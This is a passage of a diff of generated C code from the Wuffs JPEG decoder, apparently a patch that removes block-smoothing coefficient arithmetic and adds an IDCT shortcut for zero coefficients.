wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); +- v_scratch += ((uint32_t)(4294967283u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); +- v_scratch += ((uint32_t)(4294967258u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); +- v_scratch += ((uint32_t)(4294967283u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); +- v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); +- v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); +- v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); +- v_scratch *= v_q_00; +- if (v_scratch < 2147483648u) { +- v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } else { +- v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } +- self->private_data.f_mcu_blocks[0u][8u] = ((uint16_t)(v_scratch)); +- } +- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][9u])); +- if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][9u] == 0u)) { +- v_scratch = 0u; +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); +- v_scratch += ((uint32_t)(9u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); +- v_scratch += ((uint32_t)(4294967287u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); +- v_scratch += ((uint32_t)(4294967287u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); +- v_scratch += ((uint32_t)(9u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); +- v_scratch *= v_q_00; +- if (v_scratch < 2147483648u) { +- v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } else { +- v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } +- self->private_data.f_mcu_blocks[0u][9u] = ((uint16_t)(v_scratch)); +- } +- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][10u])); +- if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][10u] == 0u)) { +- v_scratch = 0u; +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); +- v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); +- v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); +- v_scratch *= v_q_00; +- if (v_scratch < 2147483648u) { +- v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } else { +- v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } +- self->private_data.f_mcu_blocks[0u][10u] = ((uint16_t)(v_scratch)); +- } +- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][16u])); +- if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][16u] == 0u)) { +- v_scratch = 0u; +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); +- v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); +- v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); +- v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); +- v_scratch += ((uint32_t)(4294967291u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); +- v_scratch += ((uint32_t)(4294967282u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); +- v_scratch += ((uint32_t)(4294967291u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); +- v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); +- v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); +- v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); +- v_scratch *= v_q_00; +- if (v_scratch < 2147483648u) { +- v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } else { +- v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } +- self->private_data.f_mcu_blocks[0u][16u] = ((uint16_t)(v_scratch)); +- } +- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][17u])); +- if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][17u] == 0u)) { +- v_scratch = 0u; +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); +- v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); +- v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); +- v_scratch *= v_q_00; +- if (v_scratch < 2147483648u) { +- v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } else { +- v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } +- self->private_data.f_mcu_blocks[0u][17u] = ((uint16_t)(v_scratch)); +- } +- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][24u])); +- if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][24u] == 0u)) { +- v_scratch = 0u; +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); +- v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); +- v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); +- v_scratch *= v_q_00; +- if (v_scratch < 2147483648u) { +- v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } else { +- v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); +- } +- self->private_data.f_mcu_blocks[0u][24u] = ((uint16_t)(v_scratch)); +- } ++ if (0u == (self->private_data.f_mcu_blocks[0u][10u] | ++ self->private_data.f_mcu_blocks[0u][18u] | ++ self->private_data.f_mcu_blocks[0u][26u] | ++ self->private_data.f_mcu_blocks[0u][34u] | ++ self->private_data.f_mcu_blocks[0u][42u] | ++ self->private_data.f_mcu_blocks[0u][50u] | ++ self->private_data.f_mcu_blocks[0u][58u])) { ++ v_intermediate[2u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][2u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][2u])))) << 2u)); ++ v_intermediate[10u] = v_intermediate[2u]; ++ v_intermediate[18u] = v_intermediate[2u]; ++ v_intermediate[26u] = v_intermediate[2u]; ++ v_intermediate[34u] = v_intermediate[2u]; ++ v_intermediate[42u] = v_intermediate[2u]; ++ v_intermediate[50u] = v_intermediate[2u]; ++ v_intermediate[58u] = v_intermediate[2u]; + } else { +- v_al = self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][1u]; +- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][1u])); +- if ((v_al > 0u) && (v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][1u] == 0u)) { +- v_limit = ((((uint32_t)(1u)) << v_al) - 1u); +- v_scratch = 0u; +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); +- v_scratch += ((uint32_t)(4294967289u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); +- v_scratch += ((uint32_t)(50u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); +- v_scratch += ((uint32_t)(4294967246u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); +- v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); +- v_scratch *= v_q_00; +- if (v_scratch < 2147483648u) { +- v_scratch = ((uint32_t)(0u + wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); +- } else { +- v_scratch = ((uint32_t)(0u - 